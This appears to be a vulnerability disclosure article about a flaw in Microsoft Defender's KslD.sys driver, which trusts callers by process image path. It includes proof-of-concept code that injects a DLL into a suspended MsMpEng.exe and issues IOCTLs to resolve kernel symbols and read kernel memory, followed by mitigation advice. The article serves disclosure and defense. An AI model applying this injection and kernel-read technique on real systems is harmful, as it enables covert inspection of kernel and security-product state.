Microsoft Defender ships a signed kernel driver, KslD.sys, that exposes an Input Output Control (IOCTL) dispatcher intended for Defender’s own engine process. The driver gates privileged commands by comparing the caller’s process image path against the AllowedProcessName registry value, which points at MsMpEng.exe, then allows that process to resolve kernel symbols and copy arbitrary virtual or physical memory through MmCopyMemory. Argus abuses the gap between process identity and process trust: a local caller starts a suspended copy of the configured Defender executable, loads a controlled Dynamic Link Library (DLL) into that process before it executes normal Defender logic, and lets the DLL talk to KslD.sys from inside a process whose image path passes the driver’s gate. The result is a Microsoft signed kernel read primitive reachable from user mode without loading an attacker supplied driver.

This article covers the KslD.sys trust boundary, the IOCTL command surface, the symbol resolver, the MmCopyMemory backed read command, and the process path gate that makes the bug exploitable. It then walks through the Argus loader and probe, shows how the proof validates the primitive by enumerating EPROCESS and Virtual Address Descriptor (VAD) state, and closes with the version scope and mitigation options.

Background

KslD.sys is part of Microsoft Malware Protection. The driver installs as the KslD kernel service and creates a device whose name comes from the service registry configuration. On the tested Defender configuration, the relevant registry values look like this:

HKLM\SYSTEM\CurrentControlSet\Services\KslD
    ImagePath             system32\drivers\wd\KslD.sys
    DeviceName            KslD
    AllowedProcessName    \Device\HarddiskVolume...\ProgramData\Microsoft\Windows Defender\Platform\...\MsMpEng.exe

The driver is not a third party Bring Your Own Vulnerable Driver (BYOVD) dependency. It is Microsoft signed, ships with Defender, and appears as an operating system binary. That matters because the primitive does not begin by defeating Code Integrity. It begins by reaching a legitimate Defender driver through the access pattern that driver already exposes to Defender’s own user mode component.

The intended trust model is narrow. MsMpEng.exe is Defender’s engine process, and KslD.sys expects sensitive requests to originate from that image. The mistake is treating the image path as equivalent to the real Defender service instance. A process can have the right path while carrying attacker controlled code.

The KSLD Device Surface

The exposed device is reachable through the symbolic link derived from DeviceName. The proof opens it as \\?\KslD:

auto dev = CreateFileW(L"\\\\?\\KslD", GENERIC_READ, 0, nullptr,
                       OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);

The command path uses IOCTL 0x222044. Decoding the value gives device type 0x22, function 0x811, method METHOD_BUFFERED, and access FILE_ANY_ACCESS. The driver still relies on its own process gate and command handlers for policy, but the IOCTL value itself does not require write access.

The probe uses two commands:

enum drv_cmd : DWORD { cmd_sym = 7, cmd_read = 12 };

Static inspection of KslD.sys shows the public dispatcher comparing the request code against 0x222044, then reading the first DWORD from the input buffer as the command identifier:

cmp edx, 0x222044
jne invalid_ioctl

mov edx, dword ptr [input_buffer]
call selected_command->supports(edx)
call selected_command->execute(edx, input_buffer, output_buffer)

The command table contains more than these two operations, but Argus only needs symbol resolution and memory copy. Command 7 turns a Unicode kernel routine name into a kernel pointer. Command 12 turns a kernel pointer, size, and copy mode into bytes returned to user mode.

Symbol Resolution

Command 7 is a thin wrapper over MmGetSystemRoutineAddress. The input buffer starts with the command identifier, carries a byte length for a Unicode string, validates an argument size field of 0x0c, and appends the requested routine name after the header. The output buffer receives an 8 byte kernel address.

The proof builds the request as a small C++ wrapper:

enum drv_cmd : DWORD { cmd_sym = 7, cmd_read = 12 };

template<int N>
class sym_req {
public:
    constexpr sym_req(const wchar_t (&s)[N]) : id(cmd_sym), wlen(N * 2) {
        for (int i = 0; i < N; i++) buf[i] = s[i];
        result = 0;
    }

    BOOL io(HANDLE dev, PDWORD nb) {
        return DeviceIoControl(dev, 0x222044, this, hdr(), &result, sizeof(result), nb, 0);
    }

    ULONG_PTR addr() const { return result; }

private:
    constexpr DWORD hdr() const {
        return sizeof(id) + sizeof(wlen) + sizeof(argsz) + sizeof(buf);
    }

    const DWORD id = cmd_sym;
    const DWORD wlen;
    const DWORD argsz = sizeof(DWORD) * 3;
    wchar_t buf[N];
    ULONG_PTR result;
};

The probe resolves four symbols:

PsInitialSystemProcess
PsGetProcessId
PsGetProcessPeb
PsGetProcessImageFileName

This is already enough to build a stable kernel object model from user mode. PsInitialSystemProcess gives the anchor EPROCESS, while the three exported accessor stubs reveal offsets inside the current kernel’s EPROCESS layout.

Kernel Memory Copy

Command 12 calls a dynamically resolved MmCopyMemory pointer. During driver initialization, KslD.sys resolves the Unicode name MmCopyMemory with MmGetSystemRoutineAddress and stores the function pointer in its context. The command handler later reads a source address, a length, and an MM_COPY_MEMORY_* mode from the user supplied request, validates that the mode contains either physical or virtual memory, and forwards the request into MmCopyMemory.

The proof models the request this way:

class read_req {
public:
    read_req(ULONG_PTR va, MmCopyFlags mode, DWORD sz, void* dst = nullptr)
        : id(cmd_read), len(sz), mode(mode), dst(dst)
    {
        off.QuadPart = va;
        buf = malloc(sz);
        if (dst) memset(dst, 0, sz);
    }

    BOOL io(HANDLE dev, PDWORD nb) {
        BOOL r = DeviceIoControl(dev, 0x222044, this, hdr(), buf, len, nb, 0);
        if (r && dst) memcpy(dst, buf, len);
        return r;
    }

private:
    const DWORD id = cmd_read;
    LARGE_INTEGER off;
    const SIZE_T len;
    const MmCopyFlags mode;
    void* buf;
    void* const dst;
};

The proof uses MM_COPY_MEMORY_VIRTUAL, so every kread() call asks Defender’s driver to copy from a kernel virtual address into the caller supplied output buffer:

template<typename T>
static bool kread(HANDLE dev, ULONG_PTR va, T* out) {
    DWORD nb = 0;
    return read_req(va, MM_COPY_MEMORY_VIRTUAL, sizeof(T), out).io(dev, &nb) != FALSE;
}

At the driver boundary, this is not a constrained information query. The caller supplies the address and the size. MmCopyMemory provides fault tolerant copying, so invalid addresses fail cleanly instead of crashing the system. That makes the primitive ergonomic enough to walk kernel lists and infer structure offsets without a helper driver.

The Process Path Gate

The driver reads AllowedProcessName from the service registry key and stores the full NT path of the process that may issue privileged commands. On current Defender installations this value points at the platform specific MsMpEng.exe path under C:\ProgramData\Microsoft\Windows Defender\Platform.

The important detail is what the driver checks. It does not prove that the caller is the service controlled Defender engine instance. It does not prove that the caller is Protected Process Light (PPL). It does not prove that the code executing inside the process belongs to Microsoft. It checks the process image path.

That distinction turns the authorization model into a confused deputy. The driver has a legitimate reason to trust Defender’s engine process, but the proof supplies a different process with the same image path and a controlled DLL loaded into it. The driver sees the right path and authorizes the request. The kernel memory copy happens on behalf of the attacker controlled payload.

The PPL Non Requirement

The loader contains PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, but the actual process creation call does not use the creation flags Microsoft requires for that attribute to matter. Microsoft’s process attribute documentation states that PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL uses PROTECTION_LEVEL_SAME, and that process creation must specify EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS for the protected process path. The loader passes only CREATE_SUSPENDED.

DWORD ProtectionLevel = PROTECTION_LEVEL_SAME;

UpdateProcThreadAttribute(StartupInfoEx.lpAttributeList,
    0,
    PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
    &ProtectionLevel,
    sizeof(ProtectionLevel),
    NULL,
    NULL);

CreateProcessW(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\...\\MsMpEng.exe",
    NULL,
    NULL,
    NULL,
    TRUE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    (LPSTARTUPINFOW)&StartupInfoEx,
    &ProcessInformation);

This is a useful negative result. Argus does not need a real PPL transition. The child process can be an ordinary suspended process because KslD.sys does not enforce the protected process property in the IOCTL gate. The process path is the credential.

Loader Control Before First Instruction

The loader creates the Defender process suspended, allocates memory inside it, writes the string probe.dll, then rewrites the primary thread context so the first user mode code path calls LoadLibraryA:

LPVOID ptr = VirtualAllocEx(ProcessInformation.hProcess, NULL, 0x1000,
                            MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(ProcessInformation.hProcess, ptr,
                   "probe.dll", strlen("probe.dll") + 1, &written);

CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
GetThreadContext(ProcessInformation.hThread, &ctx);

ctx.Rcx = (decltype(ctx.Rcx))ptr;
ctx.Rip = (decltype(ctx.Rip))LoadLibraryA;

SetThreadContext(ProcessInformation.hThread, &ctx);
ResumeThread(ProcessInformation.hThread);

The payload runs before the normal Defender engine logic has a chance to initialize. The process image still resolves to the configured MsMpEng.exe path, and the code now executing inside that process is the Argus probe DLL.

This is why the fix cannot be “check the image name more carefully.” The path is correct. The binary is correct. The missing property is code provenance inside the process at the moment the device request is made.

Probe Validation

The probe validates the primitive without relying on private symbols. It starts KslD, opens the device, resolves kernel routines, then derives structure offsets from exported accessor stubs.

The offset extraction is intentionally simple. On the tested kernel, the relevant exported helpers compile to mov rax, [rcx + disp] style stubs. The probe reads the ModRM byte and displacement directly:

static bool stub_off(HANDLE dev, ULONG_PTR fn, DWORD* out) {
    BYTE modrm = 0;
    if (!kread(dev, fn + 2, &modrm)) return false;

    if (modrm == 0x41) {
        BYTE d = 0;
        return kread(dev, fn + 3, &d) ? (*out = d, true) : false;
    }

    if (modrm == 0x81)
        return kread(dev, fn + 3, out);

    return false;
}

From there, the proof reads PsInitialSystemProcess, walks ActiveProcessLinks, and validates that the first process is Process Identifier (PID) 4 with image name System. It then finds explorer.exe, reads its PID from EPROCESS, and cross checks that value with OpenProcess and GetProcessId.

The final validation step enumerates the target process VAD tree. The probe locates VadRoot heuristically by scanning a 1 kilobyte (KB) region of its own EPROCESS for a pointer to a tree that contains the VAD for ntdll.dll. Once it discovers the offset, it reads another process’s VAD tree and prints each region’s base, size, protection, type, commit state, and charge.

Base              Size          Protect         Type      State    Charge
----              ----          -------         ----      -----    ------
00007FF...        000000...     EXECUTE_READ    Image     Commit   ...

VAD enumeration is a strong proof target because it requires many dependent kernel reads across process objects, balanced tree nodes, protection bitfields, and user address ranges. A fake or overly narrow information leak does not sustain that traversal. KslD.sys does.

Version Scope

The proof repository contains KslD.sys version 1.1.25081.3013, signed as Microsoft Malware Protection, with Secure Hash Algorithm 256 (SHA256) BD17231833AA369B3B2B6963899BF05DBEFD673DB270AEC15446F2FAB4A17B5A. That build contains the 0x222044 dispatcher, the AllowedProcessName registry gate, the command 7 symbol resolver, and the command 12 MmCopyMemory path.

Static inspection of an installed Defender build, KslD.sys version 1.1.26051.3007, shows the same high level surface still present: the 0x222044 dispatcher remains, the AllowedProcessName and MmCopyMemory strings remain, and the service registry still points AllowedProcessName at the platform specific MsMpEng.exe path. That observation confirms the surface shape, not full exploit validation on every Defender build. The bug class is the authorization model, so version scope should be treated as Defender platform dependent until Microsoft changes the gate.

Impact

Argus gives attacker controlled user mode code a Microsoft signed kernel read service. With command 7, the payload resolves kernel exports. With command 12, it reads kernel virtual memory through MmCopyMemory. With those two operations together, it enumerates processes, derives kernel structure offsets, follows kernel linked lists, and inspects process address spaces.

This is not arbitrary kernel execution and it is not a kernel write primitive. The impact is disclosure and introspection. That still matters. Kernel reads expose process objects, token pointers, handle tables, callback arrays, loaded module state, and anti cheat or Endpoint Detection and Response (EDR) telemetry structures. In security products, the difference between “read only” and “harmless” is large. A stable kernel read primitive often supplies the map needed for a separate write primitive, exploit chain, or stealth decision.

The privilege requirement is also narrower than a normal driver load. The proof starts and opens an existing Microsoft driver instead of loading a new one. On systems where KslD is already running, the service start step disappears entirely. The remaining requirement is the ability to create and manipulate a local process from the configured Defender image path.

Mitigation

The direct fix is to bind the IOCTL authorization to the real Defender service instance instead of the image path. The driver can validate the caller’s process protection level, signer, token trust, service identity, or a per boot secret established by the trusted engine process. Any of those checks is stronger than comparing a string path read from the registry.

The command surface should also be narrowed. A production antimalware driver should not expose raw MmCopyMemory semantics to user mode callers unless every address range is constrained to a documented Defender owned object. Symbol resolution is similarly dangerous. Returning arbitrary kernel export addresses turns every other command into a more useful primitive.

A defense in depth fix is to split the telemetry service from the raw memory primitive. If Defender needs kernel reads internally, the user mode contract should be a typed query Application Programming Interface (API) with explicit object classes, bounded lengths, and policy checks at each operation. The driver can keep the ability to inspect memory without giving the caller a general purpose memory read syscall.

Closing

Argus demonstrates that KslD.sys treats a process image path as a security credential and then grants that process access to a symbol resolver and an MmCopyMemory backed kernel read command. A locally spawned MsMpEng.exe instance with an injected probe DLL satisfies the path gate without becoming the real Defender service process, and the driver performs the privileged copy on its behalf. The root cause is not MmCopyMemory itself; it is the mismatch between the authority of the primitive and the weakness of the caller authentication. The fix is to authenticate the actual Defender service identity and replace the raw memory command surface with typed, bounded requests.